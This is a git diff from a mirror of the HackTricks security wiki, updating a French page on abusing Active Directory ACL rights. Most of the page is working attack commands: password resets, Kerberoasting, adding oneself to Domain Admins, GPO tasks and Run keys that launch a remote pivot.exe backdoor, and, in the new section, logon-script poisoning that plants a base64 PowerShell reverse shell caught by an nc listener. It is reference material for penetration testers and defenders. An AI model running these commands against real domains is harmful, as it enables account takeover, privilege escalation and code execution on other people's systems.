mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
Translator
parent
a1ec44eca3
commit
54633d54cb
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Abuser des ACLs/ACEs d'Active Directory
|
||||
# Abuser les ACLs/ACEs d'Active Directory
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -13,30 +13,45 @@ BadSuccessor.md
|
||||
|
||||
## **GenericAll Rights on User**
|
||||
|
||||
Ce droit accorde à un attaquant le contrôle total d'un compte utilisateur ciblé. Une fois les droits `GenericAll` confirmés avec la commande `Get-ObjectAcl`, un attaquant peut :
|
||||
Ce privilège donne à un attaquant le contrôle total d'un compte utilisateur cible. Une fois les droits `GenericAll` confirmés en utilisant la commande `Get-ObjectAcl`, un attaquant peut :
|
||||
|
||||
- **Changer le mot de passe de la cible** : En utilisant `net user <username> <password> /domain`, l'attaquant peut réinitialiser le mot de passe de l'utilisateur.
|
||||
- **Targeted Kerberoasting** : Attribuer un SPN au compte de l'utilisateur pour le rendre kerberoastable, puis utiliser Rubeus et targetedKerberoast.py pour extraire et tenter de casser les hashes du ticket-granting ticket (TGT).
|
||||
- **Modifier le mot de passe de la cible** : en utilisant `net user <username> <password> /domain`, l'attaquant peut réinitialiser le mot de passe de l'utilisateur.
|
||||
- Depuis Linux, vous pouvez faire la même chose via SAMR avec Samba `net rpc`:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Si le compte est désactivé, supprimez le flag UAC**: `GenericAll` permet de modifier `userAccountControl`. Depuis Linux, BloodyAD peut supprimer le flag `ACCOUNTDISABLE`:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Assignez un SPN au compte de l'utilisateur pour le rendre kerberoastable, puis utilisez Rubeus et targetedKerberoast.py pour extraire et tenter de crack les hashes du ticket-granting ticket (TGT).
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Désactiver la pré-authentification pour l'utilisateur, rendant son compte vulnérable à ASREPRoasting.
|
||||
- **Targeted ASREPRoasting**: Désactiver la pre-authentication pour l'utilisateur, rendant son compte vulnérable à ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
- **Shadow Credentials / Key Credential Link**: Avec `GenericAll` sur un utilisateur, vous pouvez ajouter un identifiant basé sur un certificat et vous authentifier en tant que cet utilisateur sans modifier son mot de passe. Voir :
|
||||
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
## **Droits GenericAll sur un groupe**
|
||||
|
||||
Ce privilège permet à un attaquant de manipuler les appartenances aux groupes s'il dispose des droits `GenericAll` sur un groupe tel que `Domain Admins`. Après avoir identifié le nom distingué du groupe avec `Get-NetGroup`, l'attaquant peut :
|
||||
Ce privilège permet à un attaquant de modifier les adhésions aux groupes s'il dispose des droits `GenericAll` sur un groupe tel que `Domain Admins`. Après avoir identifié le nom distinctif du groupe avec `Get-NetGroup`, l'attaquant peut :
|
||||
|
||||
- **S'ajouter au groupe `Domain Admins`** : Cela peut être fait via des commandes directes ou en utilisant des modules tels que Active Directory ou PowerSploit.
|
||||
- **S'ajouter au groupe Domain Admins** : Cela peut être fait via des commandes directes ou en utilisant des modules comme Active Directory ou PowerSploit.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Depuis Linux, vous pouvez également utiliser BloodyAD pour vous ajouter à des groupes arbitraires lorsque vous détenez GenericAll/Write membership sur ceux-ci. Si le groupe ciblé est imbriqué dans “Remote Management Users”, vous obtiendrez immédiatement un accès WinRM sur les hôtes qui prennent en compte ce groupe :
|
||||
- Depuis Linux, vous pouvez aussi utiliser BloodyAD pour vous ajouter à des groupes arbitraires lorsque vous disposez d'un accès GenericAll/Write sur ces groupes. Si le groupe cible est imbriqué dans “Remote Management Users”, vous obtiendrez immédiatement un accès WinRM sur les hôtes qui prennent en compte ce groupe :
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet de :
|
||||
Détenir ces privilèges sur un objet ordinateur ou un compte utilisateur permet :
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation** : Permet de prendre le contrôle d'un objet ordinateur.
|
||||
- **Shadow Credentials** : Utilisez cette technique pour vous faire passer pour un ordinateur ou un compte utilisateur en exploitant les privilèges afin de créer des shadow credentials.
|
||||
- **Shadow Credentials** : Utiliser cette technique pour usurper l'identité d'un ordinateur ou d'un compte utilisateur en exploitant les privilèges pour créer des Shadow Credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Si un utilisateur dispose des droits `WriteProperty` sur tous les objets pour un groupe spécifique (par ex., `Domain Admins`), il peut :
|
||||
Si un utilisateur dispose des droits `WriteProperty` sur tous les objets d'un groupe spécifique (p.ex. `Domain Admins`), il peut :
|
||||
|
||||
- **Se rajouter au groupe Domain Admins** : Réalisable en combinant les commandes `net user` et `Add-NetGroupUser`, cette méthode permet une élévation de privilèges au sein du domaine.
|
||||
- **S'ajouter au groupe Domain Admins** : Réalisable en combinant les commandes `net user` et `Add-NetGroupUser`, cette méthode permet une élévation de privilèges dans le domaine.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) sur un groupe**
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Ce privilège permet aux attaquants de s'ajouter à des groupes spécifiques, comme `Domain Admins`, en utilisant des commandes qui manipulent directement l'appartenance aux groupes. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
|
||||
Ce privilège permet aux attaquants de s'ajouter à des groupes spécifiques, tels que `Domain Admins`, via des commandes qui manipulent directement l'appartenance aux groupes. L'utilisation de la séquence de commandes suivante permet l'auto-ajout :
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Un privilège similaire, il permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés des groupes s'ils disposent du droit `WriteProperty` sur ces groupes. La confirmation et l'exécution de ce privilège se font avec :
|
||||
Un privilège similaire, il permet aux attaquants de s'ajouter directement à des groupes en modifiant les propriétés des groupes s'ils disposent du droit `WriteProperty` sur ceux-ci. La confirmation et l'exécution de ce privilège s'effectuent avec :
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser le mot de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou d'autres outils en ligne de commande, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des one-liners pour des environnements non interactifs. Les commandes vont d'appels simples PowerShell à l'utilisation de `rpcclient` sur Linux, démontrant la polyvalence des vecteurs d'attaque.
|
||||
Détenir le `ExtendedRight` sur un utilisateur pour `User-Force-Change-Password` permet de réinitialiser le mot de passe sans connaître le mot de passe actuel. La vérification de ce droit et son exploitation peuvent être effectuées via PowerShell ou d'autres outils en ligne de commande, offrant plusieurs méthodes pour réinitialiser le mot de passe d'un utilisateur, y compris des sessions interactives et des one-liners pour les environnements non interactifs. Les commandes vont d'invocations PowerShell simples à l'utilisation de `rpcclient` sur Linux, démontrant la polyvalence des vecteurs d'attaque.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -87,21 +102,21 @@ rpcclient -U KnownUsername 10.10.10.192
|
||||
```
|
||||
## **WriteOwner sur un groupe**
|
||||
|
||||
Si un attaquant découvre qu'il dispose des droits `WriteOwner` sur un groupe, il peut en changer le propriétaire pour se l'attribuer. Cela a un impact particulier lorsque le groupe concerné est `Domain Admins`, car modifier la propriété permet un contrôle plus large sur les attributs du groupe et son appartenance. Le processus consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID, soit par nom.
|
||||
Si un attaquant découvre qu'il dispose des droits `WriteOwner` sur un groupe, il peut en changer le propriétaire pour se l'attribuer. Cela est particulièrement impactant lorsque le groupe en question est `Domain Admins`, car changer le propriétaire permet un contrôle plus large sur les attributs du groupe et sa composition. La procédure consiste à identifier l'objet correct via `Get-ObjectAcl` puis à utiliser `Set-DomainObjectOwner` pour modifier le propriétaire, soit par SID, soit par nom.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
## **GenericWrite sur l'utilisateur**
|
||||
|
||||
Cette permission permet à un attacker de modifier les propriétés d'un user. Plus précisément, avec l'accès `GenericWrite`, l'attacker peut modifier le chemin du logon script d'un user pour exécuter un malicious script lors du logon de l'user. Cela s'effectue en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'user ciblé afin de la faire pointer vers le script de l'attacker.
|
||||
Cette permission permet à un attaquant de modifier les propriétés d'un utilisateur. Plus précisément, avec un accès `GenericWrite`, l'attaquant peut changer le chemin du script de connexion d'un utilisateur pour exécuter un script malveillant lors de la connexion de l'utilisateur. Cela s'obtient en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'utilisateur ciblé afin de pointer vers le script de l'attaquant.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, par exemple en s'ajoutant eux‑mêmes ou en ajoutant d'autres utilisateurs à des groupes spécifiques. Ce processus implique la création d'un objet d'identification, son utilisation pour ajouter ou supprimer des utilisateurs d'un groupe, et la vérification des modifications d'appartenance avec des commandes PowerShell.
|
||||
Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, par exemple en s'ajoutant eux‑mêmes ou en ajoutant d'autres utilisateurs à des groupes spécifiques. Ce processus implique la création d'un credential object, son utilisation pour ajouter ou supprimer des utilisateurs d'un groupe, et la vérification des modifications d'appartenance via des commandes PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Depuis Linux, Samba `net` peut ajouter/retirer des membres lorsque vous disposez de `GenericWrite` sur le groupe (utile lorsque PowerShell/RSAT ne sont pas disponibles) :
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Posséder un objet AD et disposer des privilèges `WriteDACL` sur celui-ci permet à un attaquant de s'octroyer des privilèges `GenericAll` sur l'objet. Cela s'effectue via la manipulation d'ADSI, offrant un contrôle total de l'objet et la possibilité de modifier ses appartenances aux groupes. Cependant, des limitations existent lorsqu'on tente d'exploiter ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
|
||||
Posséder un objet AD et disposer des privilèges `WriteDACL` sur celui-ci permet à un attaquant de se donner les privilèges `GenericAll` sur l'objet. Ceci est réalisé via la manipulation ADSI, permettant un contrôle complet de l'objet et la possibilité de modifier ses appartenances à des groupes. Malgré cela, des limitations existent lorsqu'on tente d'exploiter ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
### WriteDACL/WriteOwner prise de contrôle rapide (PowerView)
|
||||
|
||||
Lorsque vous avez `WriteOwner` et `WriteDacl` sur un compte utilisateur ou de service, vous pouvez en prendre le contrôle total et réinitialiser son mot de passe avec PowerView sans connaître l'ancien mot de passe :
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Remarques :
|
||||
- Vous devrez peut-être d'abord changer le propriétaire pour vous-même si vous n'avez que `WriteOwner` :
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Valider l'accès avec n'importe quel protocole (SMB/LDAP/RDP/WinRM) après la réinitialisation du mot de passe.
|
||||
|
||||
## **Réplication sur le domaine (DCSync)**
|
||||
|
||||
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
L'attaque DCSync exploite des permissions de réplication spécifiques sur le domaine pour imiter un contrôleur de domaine et synchroniser des données, y compris les identifiants des utilisateurs. Cette technique puissante nécessite des permissions comme `DS-Replication-Get-Changes`, permettant aux attaquants d'extraire des informations sensibles de l'environnement AD sans accès direct à un contrôleur de domaine. [**En savoir plus sur l'attaque DCSync ici.**](../dcsync.md)
|
||||
|
||||
## Délégation GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
## Délégation de GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Délégation GPO
|
||||
### Délégation de GPO
|
||||
|
||||
L'accès délégué pour gérer les Group Policy Objects (GPOs) peut présenter des risques de sécurité importants. Par exemple, si un utilisateur tel que `offense\spotless` se voit déléguer des droits de gestion des GPO, il peut disposer de privilèges comme **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être détournées à des fins malveillantes, comme identifié avec PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
L'accès délégué pour gérer les objets de stratégie de groupe (GPOs) peut présenter des risques de sécurité importants. Par exemple, si un utilisateur comme `offense\spotless` se voit déléguer des droits de gestion de GPO, il peut disposer de privilèges tels que **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être abusées à des fins malveillantes, comme l'identifie PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Énumérer les permissions GPO
|
||||
|
||||
Pour identifier les GPO mal configurées, les cmdlets de PowerSploit peuvent être chaînées. Cela permet de découvrir les GPO qu'un utilisateur spécifique peut gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
Pour identifier les GPOs mal configurés, les cmdlets de PowerSploit peuvent être chaînées. Cela permet de découvrir les GPOs qu'un utilisateur spécifique peut gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Ordinateurs avec une politique donnée appliquée** : Il est possible de déterminer quels ordinateurs concernent une GPO spécifique, ce qui aide à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Ordinateurs avec une politique donnée appliquée** : Il est possible de déterminer à quels ordinateurs une GPO spécifique s'applique, ce qui aide à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Politiques appliquées à un ordinateur donné** : Pour voir quelles politiques sont appliquées à un ordinateur particulier, on peut utiliser des commandes comme `Get-DomainGPO`.
|
||||
**Politiques appliquées à un ordinateur donné** : Pour voir quelles politiques s'appliquent à un ordinateur particulier, on peut utiliser des commandes comme `Get-DomainGPO`.
|
||||
|
||||
**OUs avec une politique donnée appliquée** : Identifier les unités d'organisation (OUs) affectées par une politique donnée peut se faire avec `Get-DomainOU`.
|
||||
|
||||
Vous pouvez aussi utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPO et y déceler des problèmes.
|
||||
Vous pouvez aussi utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPOs et y trouver des problèmes.
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
### Abus de GPO - New-GPOImmediateTask
|
||||
|
||||
Les GPO mal configurées peuvent être exploitées pour exécuter du code, par exemple en créant une tâche planifiée immédiate. Cela peut servir à ajouter un utilisateur au groupe Administrateurs locaux sur les machines concernées, élevant considérablement les privilèges :
|
||||
Des GPOs mal configurées peuvent être exploitées pour exécuter du code, par exemple en créant une tâche planifiée immédiate. Cela peut servir à ajouter un utilisateur au groupe d'administrateurs locaux sur les machines affectées, élevant ainsi significativement les privilèges :
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Le GroupPolicy module, s'il est installé, permet la création et l'association de nouveaux GPOs, ainsi que la configuration de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs concernés. Cette méthode nécessite que le GPO soit mis à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
|
||||
Le module GroupPolicy, s'il est installé, permet la création et le lien de nouvelles GPOs, ainsi que la définition de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs affectés. Cette méthode nécessite que la GPO soit mise à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse offre une méthode pour abuser des GPOs existantes en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouvelles GPOs. Cet outil nécessite la modification de GPOs existantes ou l'utilisation des outils RSAT pour en créer de nouvelles avant d'appliquer les modifications :
|
||||
SharpGPOAbuse offre une méthode pour abuser des GPOs existants en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouveaux GPOs. Cet outil nécessite la modification des GPOs existants ou l'utilisation des outils RSAT pour en créer de nouveaux avant d'appliquer les changements :
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Forcer la mise à jour des GPO
|
||||
|
||||
Les mises à jour des GPO ont généralement lieu toutes les ~90 minutes. Pour accélérer ce processus, surtout après avoir appliqué une modification, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate des stratégies. Cette commande garantit que les modifications des GPO sont appliquées sans attendre le prochain cycle automatique.
|
||||
Les mises à jour des GPO ont généralement lieu environ toutes les 90 minutes. Pour accélérer ce processus, notamment après avoir appliqué un changement, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate des stratégies. Cette commande garantit que toutes les modifications des GPO sont appliquées sans attendre le prochain cycle automatique de mise à jour.
|
||||
|
||||
### Sous le capot
|
||||
|
||||
En examinant les tâches planifiées (Scheduled Tasks) pour une GPO donnée, comme `Misconfigured Policy`, on peut confirmer l'ajout de tâches telles que `evilTask`. Ces tâches sont créées via des scripts ou des outils en ligne de commande visant à modifier le comportement du système ou à escalader des privilèges.
|
||||
En inspectant les Scheduled Tasks pour un GPO donné, comme `Misconfigured Policy`, on peut confirmer l'ajout de tâches telles que `evilTask`. Ces tâches sont créées via des scripts ou des outils en ligne de commande visant à modifier le comportement du système ou à escalader les privilèges.
|
||||
|
||||
La structure de la tâche, telle que présentée dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les spécificités de la tâche planifiée — y compris la commande à exécuter et ses déclencheurs. Ce fichier représente la manière dont les tâches planifiées sont définies et gérées au sein des GPO, fournissant un moyen d'exécuter des commandes ou des scripts arbitraires dans le cadre de l'application des stratégies.
|
||||
La structure de la tâche, comme montrée dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les spécificités de la tâche planifiée — y compris la commande à exécuter et ses déclencheurs. Ce fichier montre comment les tâches planifiées sont définies et gérées au sein des GPO, fournissant un moyen d'exécuter des commandes ou scripts arbitraires dans le cadre de l'application des stratégies.
|
||||
|
||||
### Utilisateurs et groupes
|
||||
|
||||
Les GPO permettent également de manipuler les appartenances aux utilisateurs et groupes sur les systèmes cibles. En modifiant directement les fichiers de stratégie Users and Groups, un attaquant peut ajouter des utilisateurs à des groupes privilégiés, comme le groupe local `administrators`. Cela est possible via la délégation des permissions de gestion des GPO, qui permet de modifier les fichiers de stratégie pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
|
||||
Les GPO permettent aussi de manipuler les appartenances des utilisateurs et des groupes sur les systèmes cibles. En éditant directement les fichiers de stratégie Users and Groups, un attaquant peut ajouter des utilisateurs à des groupes privilégiés, comme le groupe local `administrators`. Cela est possible grâce à la délégation des permissions de gestion des GPO, qui autorise la modification des fichiers de stratégie pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
|
||||
|
||||
Le fichier de configuration XML pour Users and Groups décrit comment ces changements sont implémentés. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe d'escalade de privilèges via la manipulation des GPO.
|
||||
|
||||
De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance peuvent être envisagées, telles que l'utilisation de scripts de connexion/déconnexion, la modification des clés de registre pour les autoruns, l'installation de logiciels via des fichiers .msi, ou l'édition de configurations de services. Ces techniques fournissent diverses voies pour maintenir l'accès et contrôler les systèmes cibles par l'abus des GPO.
|
||||
De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance, comme l'utilisation de logon/logoff scripts, la modification de clés de registre pour des autoruns, l'installation de logiciels via des fichiers .msi, ou l'édition de la configuration des services, peuvent également être envisagées. Ces techniques offrent diverses voies pour maintenir l'accès et contrôler les systèmes cibles par l'abus des GPO.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Localiser les logon scripts
|
||||
- Inspecter les attributs des utilisateurs pour un logon script configuré :
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Explorer les partages de domaine pour faire remonter des raccourcis ou des références à des scripts :
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Analyser les fichiers `.lnk` pour résoudre les cibles pointant vers SYSVOL/NETLOGON (astuce DFIR utile et pour les attaquants sans accès direct aux GPO):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound affiche l'attribut `logonScript` (scriptPath) sur les nœuds utilisateur lorsqu'il est présent.
|
||||
|
||||
### Valider l'accès en écriture (ne faites pas confiance aux listes de partages)
|
||||
Les outils automatisés peuvent afficher SYSVOL/NETLOGON en lecture seule, mais les NTFS ACLs sous-jacentes peuvent toujours autoriser l'écriture. Testez toujours :
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
Si la taille du fichier ou le mtime change, cela signifie que vous avez write. Préservez les originaux avant toute modification.
|
||||
|
||||
### Empoisonner un VBScript logon script pour RCE
|
||||
Ajoutez une commande qui lance un PowerShell reverse shell (générez-la depuis revshells.com) et conservez la logique originale pour éviter de casser la fonction métier :
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Écoutez sur votre hôte et attendez le prochain interactive logon :
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Remarques :
|
||||
- L'exécution se fait sous le token de l'utilisateur connecté (pas SYSTEM). Le périmètre est le lien GPO (OU, site, domain) appliquant ce script.
|
||||
- Nettoyer en restaurant le contenu et les horodatages d'origine après utilisation.
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
@ -187,5 +283,9 @@ De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance p
|
||||
- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
